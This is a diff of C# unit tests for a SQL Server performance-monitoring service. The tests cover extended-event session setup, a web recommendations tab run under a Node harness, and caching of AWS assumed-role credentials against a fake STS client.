+    {
+        var rig = BuildRig(azureSqlDatabase: false);
+        var start = new DateTime(2026, 1, 1, 12, 0, 0, DateTimeKind.Utc);
+
+        await DarlingWorker.EnsureAlwaysOnXeSessionsAsync(rig.State, rig.Runner, start, NullLogger.Instance, CancellationToken.None);
+        await DarlingWorker.EnsureAlwaysOnXeSessionsAsync(rig.State, rig.Runner, start.AddMinutes(59), NullLogger.Instance, CancellationToken.None);
+        Assert.Equal(1, rig.ServerScopedEnsures);
+
+        await DarlingWorker.EnsureAlwaysOnXeSessionsAsync(rig.State, rig.Runner, start.AddMinutes(60), NullLogger.Instance, CancellationToken.None);
+        Assert.Equal(2, rig.ServerScopedEnsures);
+        Assert.Equal(start.AddMinutes(60), rig.State.XeSessionsEnsuredAtUtc);
+    }
+
+    /* Test 27: an Azure create that fails carries the caps sentence in the line the service logs. */
+    [Fact]
+    public async Task AFailedAzureCreate_LogsTheCapsSentence()
+    {
+        var rig = BuildRig();
+        rig.Runner.XeEnsureOverrideForTests = null;
+        rig.Alpha.CreateFailure = new InvalidOperationException("The create was refused.");
+        var logger = new CapturingLogger();
+
+        await DarlingXeSessions.EnsureAllAsync(rig.Runtime, rig.Runner, logger, CancellationToken.None);
+
+        var line = Assert.Single(logger.Lines, l => l.Contains("alpha", StringComparison.Ordinal) && l.Contains("deadlock", StringComparison.Ordinal));
+        Assert.Contains("The create was refused.", line, StringComparison.Ordinal);
+        Assert.Contains(AlwaysOnXeSessions.AzureCapsSentence, line, StringComparison.Ordinal);
+    }
+
+    /* Test 15, pinned at the source: the Azure ensure in this service holds no drop of a shared name. */
+    [Fact]
+    public void TheAzureEnsure_HoldsNoDropOfASharedName()
+    {
+        var source = ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingXeSessions.cs");
+
+        Assert.DoesNotContain("DROP EVENT SESSION [{DeadlocksCollector.XeSessionName}]", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("DROP EVENT SESSION [{sessionName}] ON DATABASE;\", connection))\n                    {\n                        dropCmd.CommandTimeout = 60;", source, StringComparison.Ordinal);
+    }
+
+    /* Test 17: the read builders name the session the ensure chose. */
+    [Fact]
+    public void TheReadBuildersNameTheSessionTheEnsureChose()
+    {
+        var own = Own(AlwaysOnXeSessionKind.Deadlock);
+        var ownBlocked = Own(AlwaysOnXeSessionKind.BlockedProcess);
+
+        Assert.Contains($"N'{own}'", DeadlocksCollector.Instance.BuildQuery(AzureContext(own)).Text, StringComparison.Ordinal);
+        Assert.DoesNotContain("N'PerformanceMonitor_Deadlock'", DeadlocksCollector.Instance.BuildQuery(AzureContext(own)).Text, StringComparison.Ordinal);
+        Assert.Contains("N'PerformanceMonitor_Deadlock'", DeadlocksCollector.Instance.BuildQuery(AzureContext(null)).Text, StringComparison.Ordinal);
+        Assert.Contains($"N'{ownBlocked}'", BlockedProcessReportCollector.Instance.BuildQuery(AzureContext(ownBlocked)).Text, StringComparison.Ordinal);
+        Assert.DoesNotContain("N'PerformanceMonitor_BlockedProcess'", BlockedProcessReportCollector.Instance.BuildQuery(AzureContext(ownBlocked)).Text, StringComparison.Ordinal);
+    }
+
+    private static CollectorContext AzureContext(string? sessionName) => new()
+    {
+        ServerId = 1,
+        ServerName = "alwayson",
+        CollectionTime = new DateTime(2026, 1, 1, 12, 0, 0, DateTimeKind.Utc),
+        Deltas = new CollectorDeltaCalculator(),
+        Target = new CollectorTargetInfo { IsAzureSqlDb = true },
+        CurrentDatabaseName = "alpha",
+        AlwaysOnSessionName = sessionName,
+    };
+
+    private sealed class CapturingLogger : Microsoft.Extensions.Logging.ILogger
+    {
+        public List<string> Lines { get; } = new();
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(Microsoft.Extensions.Logging.LogLevel logLevel) => true;
+
+        public void Log<TState>(Microsoft.Extensions.Logging.LogLevel logLevel, Microsoft.Extensions.Logging.EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter) =>
+            Lines.Add(formatter(state, exception));
+    }
+}
diff --git a/Darling/Darling.Tests/AnalysisFactsReadRunsDetectorParityTests.cs b/Darling/Darling.Tests/AnalysisFactsReadRunsDetectorParityTests.cs
index 5842e2fd43..cb611ccbf6 100644
--- a/Darling/Darling.Tests/AnalysisFactsReadRunsDetectorParityTests.cs
+++ b/Darling/Darling.Tests/AnalysisFactsReadRunsDetectorParityTests.cs
@@ -35,6 +35,7 @@ namespace Darling.Tests;
 /// service over the batch-request spike fixture; Darling's gated <c>PgTargetAnomalyTests</c> e2e asserts
 /// the planted TPS spike through the real <c>get_analysis_facts</c>. This file is the shape both rest on.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class AnalysisFactsReadRunsDetectorParityTests
 {
     private const string ReadEntry = "public async Task<(List<Fact> Facts, WindowCoverage? Coverage, CollectionCaveatState Caveats)> CollectAndScoreFactsAsync(";
diff --git a/Darling/Darling.Tests/AnalysisFindingsTabTests.cs b/Darling/Darling.Tests/AnalysisFindingsTabTests.cs
new file mode 100644
index 0000000000..13a858e110
--- /dev/null
+++ b/Darling/Darling.Tests/AnalysisFindingsTabTests.cs
@@ -0,0 +1,185 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The web Recommendations tab (#4843), the twin of the desktop viewer's analysis findings view. The source pins
+/// name the read and its params and where the tab sits in the registry; the behaviour tests run the shipped
+/// <c>analysis-findings.js</c> under Node (<c>analysis-findings-harness.mjs</c>), skipped when Node is not installed.
+/// </summary>
+public sealed class AnalysisFindingsTabTests
+{
+    private static string[] Tab() => new[] { "Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "analysis-findings.js" };
+
+    [Fact]
+    public void TheTab_ReadsGetAnalysisFindings_WithTheServerWindowAndFullText()
+    {
+        var src = ReadRepoFile(Tab());
+        Assert.Contains("readToolWithinKeptHistory(\"get_analysis_findings\", { server, hours: ctx.hours, limit: 50, full_text: true }, ctx && ctx.signal)", src, StringComparison.Ordinal);
+        Assert.DoesNotContain("innerHTML", src, StringComparison.Ordinal);
+        Assert.DoesNotContain("analyze_server", src, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheTab_IsRegisteredLast_InTheSqlServerRegistryOnly()
+    {
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js").ReplaceLineEndings("\n");
+        Assert.Contains("import { analysisFindingsTab } from \"./analysis-findings.js\";", tabs, StringComparison.Ordinal);
+        Assert.Contains("  analysisFindingsTab,\n];\n\n/* ─", tabs, StringComparison.Ordinal);
+        Assert.Equal(1, tabs.Split("analysisFindingsTab,", StringSplitOptions.None).Length - 1);
+    }
+
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "analysis-findings-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+        Process proc;
+        try { proc = Process.Start(psi)!; }
+        catch (Win32Exception) { Assert.Skip("Node is not installed, so the shipped page script cannot be run."); return default; }
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the analysis findings harness did not finish in 20 s for scenario " + scenario);
+            }
+            Assert.True(proc.ExitCode == 0, "the analysis findings harness failed for " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string[] Strings(JsonElement e) => e.EnumerateArray().Select(x => x.GetString()!).ToArray();
+
+    [Fact]
+    public void TheRead_GoesToTheApiWithTheServerHoursLimitAndFullText()
+    {
+        var r = Run("read");
+        Assert.Equal("/api/read/get_analysis_findings", r.GetProperty("path").GetString());
+        var p = r.GetProperty("params");
+        Assert.Equal("srv-a", p.GetProperty("server").GetString());
+        Assert.Equal("24", p.GetProperty("hours").GetString());
+        Assert.Equal("50", p.GetProperty("limit").GetString());
+        Assert.Equal("true", p.GetProperty("full_text").GetString());
+    }
+
+    [Fact]
+    public void Findings_GroupByIncident_MostSevereFirst_WithBadgesFromTheExistingBandClasses()
+    {
+        var r = Run("grouping");
+        Assert.Equal(new[] { "Major · 2 findings · CRITICAL", "Config · CRITICAL", "Solo info · INFO" }, Strings(r.GetProperty("headers")));
+        Assert.Equal(new[] { 2, 1, 1 }, r.GetProperty("cardsPerGroup").EnumerateArray().Select(x => x.GetInt32()).ToArray());
+        // Info-only groups start collapsed, the rest open.
+        Assert.Equal(new[] { true, true, false }, r.GetProperty("open").EnumerateArray().Select(x => x.GetBoolean()).ToArray());
+        var classes = Strings(r.GetProperty("badgeClasses"));
+        Assert.Contains("badge band-Critical", classes);
+        Assert.Contains("badge band-Warning", classes);
+        Assert.Contains("badge band-Unknown", classes);
+    }
+
+    [Fact]
+    public void TheFixScript_IsText_InAPre_AndCopyPutsExactlyThatTextOnTheClipboard()
+    {
+        var r = Run("fix");
+        const string fix = "ALTER DATABASE <b>x</b> SET AUTO_SHRINK OFF;";
+        Assert.Equal(fix, Assert.Single(Strings(r.GetProperty("pre"))));
+        Assert.Equal(0, Assert.Single(r.GetProperty("preChildren").EnumerateArray()).GetInt32());
+        Assert.Equal(fix, Assert.Single(Strings(r.GetProperty("clipboard"))));
+        Assert.Equal("Copied", r.GetProperty("label").GetString());
+        Assert.Equal(1, r.GetProperty("buttons").GetInt32());
+    }
+
+    [Fact]
+    public void OnlyIncidentFindings_LinkToTheServersQueriesTab_NotConfigFixes()
+    {
+        var links = Strings(Run("link"));
+        Assert.Equal(3, links.Length);
+        Assert.All(links, l => Assert.Equal("#/server/srv-a/queries", l));
+    }
+
+    [Fact]
+    public void AForcePlanIncident_KeepsTheLink_AndAConfigFix_DoesNot()
+    {
+        var groups = Run("linkKinds").EnumerateArray().ToDictionary(g => g.GetProperty("head").GetString()!, g => g.GetProperty("links").GetInt32());
+        Assert.Equal(1, groups.Single(g => g.Key.StartsWith("ForcePlan", StringComparison.Ordinal)).Value);
+        Assert.Equal(0, groups.Single(g => g.Key.StartsWith("ConfigFix", StringComparison.Ordinal)).Value);
+    }
+
+    [Fact]
+    public void ANullSeverity_RendersTheLabelAlone_NotNaN()
+    {
+        var text = Run("nullSeverity").GetProperty("text").GetString()!;
+        Assert.DoesNotContain("NaN", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("0.00", text, StringComparison.Ordinal);
+        Assert.Contains("INFO", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheReadCapNote_AndThePageNote_AreBothShown()
+    {
+        var text = Run("truncation").GetProperty("text").GetString()!;
+        Assert.Contains("READ-CAP-NOTE", text, StringComparison.Ordinal);
+        Assert.Contains("PAGE-NOTE", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheSecondaryReplicaNote_ShowsWithFindingsAndWithNone_AndIsAbsentWhenTheReadCarriesNone()
+    {
+        var r = Run("replicaNote");
+        Assert.Contains("REPLICA-NOTE", r.GetProperty("withFindings").GetString(), StringComparison.Ordinal);
+        Assert.Contains("REPLICA-NOTE", r.GetProperty("noFindings").GetString(), StringComparison.Ordinal);
+        Assert.DoesNotContain("REPLICA-NOTE", r.GetProperty("without").GetString(), StringComparison.Ordinal);
+        Assert.DoesNotContain("REPLICA-NOTE", r.GetProperty("nullNote").GetString(), StringComparison.Ordinal);
+        Assert.DoesNotContain("null", r.GetProperty("nullNote").GetString(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheTabsAbortSignal_ReachesTheRead()
+    {
+        Assert.True(Run("signal").GetProperty("passed").GetBoolean());
+    }
+
+    [Fact]
+    public void TheReadsConfigFixFlag_IsTheDesktopsRule_AndIsSharedWithTheViewer()
+    {
+        var tools = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpTools.cs");
+        Assert.Contains("is_config_fix = FactRemediation.IsConfigFix(f.Remediation)", tools, StringComparison.Ordinal);
+        var vm = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "RecommendationsViewModel.cs");
+        Assert.Contains("HasStructuredFixAction => FactRemediation.IsConfigFix(Item.Remediation)", vm, StringComparison.Ordinal);
+        var js = ReadRepoFile(Tab());
+        Assert.Contains("!f.is_config_fix", js, StringComparison.Ordinal);
+        Assert.DoesNotContain("f.structured_remediation", js, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void OpenAndClosedGroups_SurviveARebuild_PerServer()
+    {
+        var r = Run("rebuild");
+        Assert.Equal(new[] { false, true, true }, r.GetProperty("again").EnumerateArray().Select(x => x.GetBoolean()).ToArray());
+        Assert.Equal(new[] { true, true, false }, r.GetProperty("other").EnumerateArray().Select(x => x.GetBoolean()).ToArray());
+    }
+
+    [Fact]
+    public void AnEmptyRead_ShowsTheServersSentence()
+    {
+        Assert.Contains("No findings in the requested time range.", Run("empty").GetProperty("text").GetString(), StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/AnalysisReadCancellationPinTests.cs b/Darling/Darling.Tests/AnalysisReadCancellationPinTests.cs
index fc1cf3deaa..4751697b8f 100644
--- a/Darling/Darling.Tests/AnalysisReadCancellationPinTests.cs
+++ b/Darling/Darling.Tests/AnalysisReadCancellationPinTests.cs
@@ -33,6 +33,7 @@ namespace Darling.Tests;
 /// public method, not a private catch site called directly), with no rig and no store, on a port nothing
 /// listens on.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class AnalysisReadCancellationPinTests
 {
     private static NpgsqlDataSource DeadStore() =>
diff --git a/Darling/Darling.Tests/AnalysisWindowEmptyRuleParityTests.cs b/Darling/Darling.Tests/AnalysisWindowEmptyRuleParityTests.cs
index b83c299dcc..a4bc6b60ab 100644
--- a/Darling/Darling.Tests/AnalysisWindowEmptyRuleParityTests.cs
+++ b/Darling/Darling.Tests/AnalysisWindowEmptyRuleParityTests.cs
@@ -30,6 +30,7 @@ namespace Darling.Tests;
 /// across the SKUs, and still carries the #3524 prose, because that prose is now true of exactly the case it
 /// is emitted for.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class AnalysisWindowEmptyRuleParityTests
 {
     private const string PassEntry = "public async Task<List<AnalysisFinding>> AnalyzeAsync(AnalysisContext context)";
diff --git a/Darling/Darling.Tests/AnomalyDetectorErrorGuardLiveTests.cs b/Darling/Darling.Tests/AnomalyDetectorErrorGuardLiveTests.cs
index 9deaa4206a..9e19b645eb 100644
--- a/Darling/Darling.Tests/AnomalyDetectorErrorGuardLiveTests.cs
+++ b/Darling/Darling.Tests/AnomalyDetectorErrorGuardLiveTests.cs
@@ -223,7 +223,7 @@ private static void RedFirstProof_DocumentedNotAsserted()
     private static async Task<bool> RunBothWindowsAsync(IAnomalyDetector detector, int serverId, string serverName)
     {
         var now = DateTime.SpecifyKind(
-            new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerSecond)),
+            new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerSecond * TimeSpan.TicksPerSecond),
             DateTimeKind.Unspecified);
 
         foreach (var window in new[] { TimeSpan.FromHours(4), TimeSpan.FromHours(24) })
@@ -257,7 +257,7 @@ private static async Task<bool> RunBothWindowsAsync(IAnomalyDetector detector, i
     private static async Task SeedSqlServerFamilyTablesAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
     {
         var now = DateTime.SpecifyKind(
-            new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerSecond)),
+            new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerSecond * TimeSpan.TicksPerSecond),
             DateTimeKind.Unspecified);
 
         // Inside every 24h window this class runs.
@@ -353,7 +353,7 @@ private static async Task DeleteSqlServerRowsAsync(NpgsqlConnection connection,
     private static async Task SeedPgTargetFamilyTablesAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
     {
         var now = DateTime.SpecifyKind(
-            new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerSecond)),
+            new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerSecond * TimeSpan.TicksPerSecond),
             DateTimeKind.Unspecified);
         var t = now.AddHours(-1);
         var priorMinute = t.AddMinutes(-1);
diff --git a/Darling/Darling.Tests/AnomalyNullWindowLiveTests.cs b/Darling/Darling.Tests/AnomalyNullWindowLiveTests.cs
index 5543b75e9a..e67d5bbf81 100644
--- a/Darling/Darling.Tests/AnomalyNullWindowLiveTests.cs
+++ b/Darling/Darling.Tests/AnomalyNullWindowLiveTests.cs
@@ -98,7 +98,7 @@ as residue. Move onto a PRIVATE scratch database instead — SharedBaselineCache
             /* now: truncated to whole seconds (the lane rule) — this becomes the "as_of" anchor for
                every pass; history runs back HistoryDays from it. */
             var now = DateTime.SpecifyKind(
-                new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerSecond)),
+                new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerSecond * TimeSpan.TicksPerSecond),
                 DateTimeKind.Unspecified);
             var historyStart = now.AddDays(-HistoryDays);
 
diff --git a/Darling/Darling.Tests/AnomalyTileWindowEndTests.cs b/Darling/Darling.Tests/AnomalyTileWindowEndTests.cs
index 0fe7454d5c..dc3ca673fb 100644
--- a/Darling/Darling.Tests/AnomalyTileWindowEndTests.cs
+++ b/Darling/Darling.Tests/AnomalyTileWindowEndTests.cs
@@ -27,6 +27,7 @@ namespace Darling.Tests;
 /// behavioural half, which seeds a sample at the end and runs the real detector, is
 /// <c>AnomalyTileWindowEndTests</c> in Lite.Tests.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class AnomalyTileWindowEndTests
 {
     /// <summary>The closed spelling of the window end: a boundary sample is read.</summary>
diff --git a/Darling/Darling.Tests/AsOfWindowAnchorTests.cs b/Darling/Darling.Tests/AsOfWindowAnchorTests.cs
index 96ed45f88d..2568b40c3b 100644
--- a/Darling/Darling.Tests/AsOfWindowAnchorTests.cs
+++ b/Darling/Darling.Tests/AsOfWindowAnchorTests.cs
@@ -35,6 +35,7 @@ namespace Darling.Tests;
 /// which reads carry the parameter. The live half — seed a past window, read it anchored, read it
 /// unanchored, prove the two disagree — is <see cref="AsOfWindowAnchorLivePostgresTests"/>.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class AsOfWindowAnchorTests
 {
     /* ── the resolver's contract ── */
@@ -242,6 +243,7 @@ public void TheSharedAnchorDescriptions_StateTheRule_WithinTheParameterBudget_An
     public void EveryDispatchedReadWhoseToolTakesAnAnchor_AdvertisesItInTheCatalog()
     {
         var missing = DarlingWebEndpoints.BuildReadDispatch().Keys
+            .Where(name => !DarlingWebEndpoints.WebOnlyReadNames.Contains(name)) // no tool behind it, and a keyed read has no window (#5241)
             .Where(ToolTakesAnAnchor)
             .Where(name => !DarlingWebEndpoints.CatalogDescriptors[name].Params.Any(p => p.Name == "as_of"))
             .OrderBy(n => n, StringComparer.Ordinal)
@@ -281,10 +283,13 @@ anchor. What is left are the two permanent kinds. get_pvs_stats and get_fleet_ov
            result whose two halves describe different instants, which is worse than not offering it.
            get_store_metrics windows in days over the store's own growth series. get_read_latency windows
            in hours over the service's own read-duration telemetry, like get_store_metrics over the store's
-           own growth series. */
+           own growth series. get_finops windows over the query-stats rows ending now and takes no anchor
+           (its description says so); the FinOps views are cost-oriented live reads. get_slow_reads windows in hours
+           back from now over the service's own slow-read telemetry, like get_read_latency, and takes no anchor. get_store_query_history windows in hours back from now over the store's own statement history and takes no anchor. */
         var excluded = new[]
         {
             "get_pvs_stats", "get_fleet_overview", "get_store_metrics", "get_read_latency",
+            "get_finops", "get_slow_reads", "get_store_query_history",
         };
 
         var unanchored = DarlingWebEndpoints.BuildReadDispatch().Keys
@@ -555,6 +560,7 @@ private static bool ToolTakesAnAnchor(string readName)
 /// a demonstrably different answer, not the same one with more rows.
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class AsOfWindowAnchorLivePostgresTests
 {
     private const string ServerName = "darling-asof-anchor-e2e";
diff --git a/Darling/Darling.Tests/AvailabilityGroupsTabRefreshTests.cs b/Darling/Darling.Tests/AvailabilityGroupsTabRefreshTests.cs
index fcda327969..af44a5fbd7 100644
--- a/Darling/Darling.Tests/AvailabilityGroupsTabRefreshTests.cs
+++ b/Darling/Darling.Tests/AvailabilityGroupsTabRefreshTests.cs
@@ -35,7 +35,7 @@ public void Render_SameRowsAcrossTwoCalls_KeepsTheSameCardInstances()
         /* The pin the ruling asks for: two refreshes over identical rows must not hand the ItemsControl a new
            object per card. Before the fix, Render assigns a brand new List<AgTopologyCard> (brand new instances)
            every call, so this fails on the pre-#4238 code — proven once, below. */
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var tab = new AvailabilityGroupsTab();
 
@@ -56,7 +56,7 @@ public void Render_SameRowsAcrossTwoCalls_KeepsTheSameCardInstances()
     [Fact]
     public void Render_ChangedValue_UpdatesInPlace_SameInstanceNewValue()
     {
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var tab = new AvailabilityGroupsTab();
 
@@ -80,7 +80,7 @@ public void Render_ChangedValue_UpdatesInPlace_SameInstanceNewValue()
     [Fact]
     public void Render_AddedOrRemovedAg_AddsOrRemovesExactlyOneCard()
     {
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var tab = new AvailabilityGroupsTab();
 
@@ -129,7 +129,7 @@ public void Render_UnchangedRows_ReplacesNoCardReplicaOrDatabaseInstances()
            reconcile every card, replica and database IN PLACE and never rebuild any of them. A regression that
            tears down and rebuilds rows -- or an O(n^2) loop that amounts to the same thing -- shows up here as a
            nonzero replaced count, independent of how loaded the runner is. */
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var tab = new AvailabilityGroupsTab();
             var topology = BuildTopology(agCount: 42, replicasPerAg: 2, dbRowsPerAg: 9, extraDbRowsOnFirst: 20);
@@ -253,22 +253,4 @@ private static AgTopologyDatabaseRow Database(int serverId, string serverName, s
             RedoRateKbPerSec = 0,
         };
 
-    /// <summary>WPF objects require STA; same shape as RawWindowFloorViewerPortTests / Lite.Tests' MainWindowAccessKeyTests.</summary>
-    private static void OnStaThread(Action body)
-    {
-        Exception? error = null;
-        var thread = new Thread(() =>
-        {
-            try { body(); }
-            catch (Exception ex) { error = ex; }
-        });
-        thread.SetApartmentState(ApartmentState.STA);
-        thread.Start();
-        thread.Join();
-
-        if (error is not null)
-        {
-            throw error;
-        }
-    }
 }
diff --git a/Darling/Darling.Tests/AwsAssumeRolePackageTests.cs b/Darling/Darling.Tests/AwsAssumeRolePackageTests.cs
new file mode 100644
index 0000000000..4d70f21906
--- /dev/null
+++ b/Darling/Darling.Tests/AwsAssumeRolePackageTests.cs
@@ -0,0 +1,73 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Darling service ships the assembly the AWS SDK loads to assume a role (#5431).
+///
+/// <para><b>The defect.</b> Every RDS and Performance Insights client is built with a region only, so
+/// credentials come from the SDK's default chain, and a <c>role_arn</c> profile selected through
+/// <c>AWS_PROFILE</c> is part of that chain. The SDK resolves such a profile into
+/// <c>AssumeRoleAWSCredentials</c>, which calls <c>sts:AssumeRole</c> through <c>AWSSDK.SecurityToken</c>
+/// and loads that assembly by name at the moment it first needs credentials. The service carried
+/// <c>AWSSDK.Core</c>, <c>.RDS</c> and <c>.PI</c> but not <c>.SecurityToken</c>, so the profile was found and
+/// then failed with "Assembly AWSSDK.SecurityToken could not be found or loaded" before any call reached
+/// AWS — a runtime failure on a path that compiles, and nothing in the service's own source names the type,
+/// so a package that is simply absent is invisible to the compiler.</para>
+///
+/// <para><b>What this pins.</b> The package reference is what puts the assembly in the service's
+/// <c>deps.json</c> and its publish folder, and the test project references the service, so the same
+/// assembly is resolvable from this test's own output. Two arms: the service's <c>deps.json</c> lists it
+/// (what the publish step copies from), and the type the SDK loads resolves by assembly-qualified name.
+/// Removing the <c>PackageReference</c> from the service project fails both.</para>
+///
+/// <para><b>What this cannot see.</b> That a given profile reaches STS, or that the role's trust policy
+/// allows the host: those are AWS-side and need credentials this suite never has. The publish folder itself
+/// is not inspected here; the framework-dependent publish in the release workflow copies every
+/// <c>deps.json</c> library, and the PR that added this checked it by publishing.</para>
+/// </summary>
+public sealed class AwsAssumeRolePackageTests
+{
+    private const string Package = "AWSSDK.SecurityToken";
+
+    [Fact]
+    public void ServiceDepsJson_ListsTheSecurityTokenPackage()
+    {
+        var depsPath = Path.Combine(
+            AppContext.BaseDirectory, "PerformanceMonitor.Darling.Service.deps.json");
+
+        Assert.True(
+            File.Exists(depsPath),
+            $"the service's deps.json is not beside the test binaries ({depsPath}), so the test "
+          + "project no longer reaches the service's dependency closure and this arm proves nothing");
+
+        var deps = File.ReadAllText(depsPath);
+
+        /* The library entry is "AWSSDK.SecurityToken/<version>". Matching the slash keeps any other
+           mention of the package name from satisfying it. */
+        Assert.Contains($"\"{Package}/", deps, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheStsClientTheSdkLoadsForAssumeRole_ResolvesFromTheServiceOutput()
+    {
+        var type = Type.GetType(
+            "Amazon.SecurityToken.AmazonSecurityTokenServiceClient, " + Package,
+            throwOnError: false);
+
+        Assert.True(
+            type is not null,
+            $"{Package} cannot be loaded, so a role_arn profile fails with \"Assembly {Package} could "
+          + "not be found or loaded\" instead of calling sts:AssumeRole (#5431)");
+    }
+}
diff --git a/Darling/Darling.Tests/AwsAssumedRoleCredentialsTests.cs b/Darling/Darling.Tests/AwsAssumedRoleCredentialsTests.cs
new file mode 100644
index 0000000000..44759487a0
--- /dev/null
+++ b/Darling/Darling.Tests/AwsAssumedRoleCredentialsTests.cs
@@ -0,0 +1,530 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Amazon;
+using Amazon.Runtime;
+using Amazon.Runtime.Endpoints;
+using Amazon.SecurityToken;
+using Amazon.SecurityToken.Model;
+using PerformanceMonitor.Darling.Service.Targets;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The credentials class for a per-server AWS role (#5452): how often it calls STS, when it refreshes, what it serves
+/// while a refresh runs or fails, what it sends, and which exception each failure becomes. No AWS and no network: a
+/// fake STS and a clock the test moves.
+/// </summary>
+public sealed class AwsAssumedRoleCredentialsTests
+{
+    private const string Role = "arn:aws:iam::123456789012:role/darling-monitor";
+    private const string Sentinel = "sentinel-external-id-4417";
+
+    private static readonly RegionEndpoint UsEast1 = RegionEndpoint.USEast1;
+
+    private static AwsAssumedRoleCredentials Make(
+        FakeSts sts, ManualTimeProvider clock, string? externalId = null, TimeSpan? deadline = null,
+        Func<RegionEndpoint, Task<AWSCredentials>>? source = null, CapturingAwsLogger? logger = null, Func<string?>? installId = null) =>
+        new(new AwsRoleKey(Role, externalId), UsEast1, sts.Factory, source ?? FakeSts.Source, installId, clock, deadline, logger);
+
+    /* ---- how many STS calls ------------------------------------------------------------------------------ */
+
+    [Fact]
+    public async Task ManyCallersAtOnce_MakeOneStsCall()
+    {
+        var sts = new FakeSts(async (_, token) =>
+        {
+            await Task.Delay(50, token);
+            return FakeSts.Grant();
+        });
+        var credentials = Make(sts, new ManualTimeProvider());
+
+        var all = await Task.WhenAll(Enumerable.Range(0, 20).Select(_ => credentials.GetCredentialsAsync()));
+
+        Assert.Equal(1, sts.Calls);
+        Assert.All(all, c => Assert.Equal("ASIAEXAMPLEASSUMED", c.AccessKey));
+    }
+
+    [Fact]
+    public async Task ValidCredentials_AreServedWithNoNewCall_UntilFifteenMinutesBeforeExpiry()
+    {
+        var clock = new ManualTimeProvider();
+        var sts = new FakeSts();
+        var credentials = Make(sts, clock);
+
+        await credentials.GetCredentialsAsync();
+        clock.Advance(TimeSpan.FromMinutes(44));
+        await credentials.GetCredentialsAsync();
+        Assert.Equal(1, sts.Calls);
+
+        clock.Advance(TimeSpan.FromMinutes(2));
+        await credentials.GetCredentialsAsync();
+        Assert.Equal(2, sts.Calls);
+    }
+
+    [Fact]
+    public async Task ExpiryIsReceiptPlusDuration_NotTheResponsesExpiration()
+    {
+        var clock = new ManualTimeProvider();
+
+        /* An Expiration a minute away on AWS's clock would force a call per request if it were read; one in the past
+           likewise. Neither is read. */
+        foreach (DateTime? expiration in new DateTime?[] { null, DateTime.UtcNow.AddMinutes(1), DateTime.UtcNow.AddDays(-1) })
+        {
+            var sts = new FakeSts((_, _) => Task.FromResult(FakeSts.Grant(expiration: expiration)));
+            var credentials = Make(sts, clock);
+
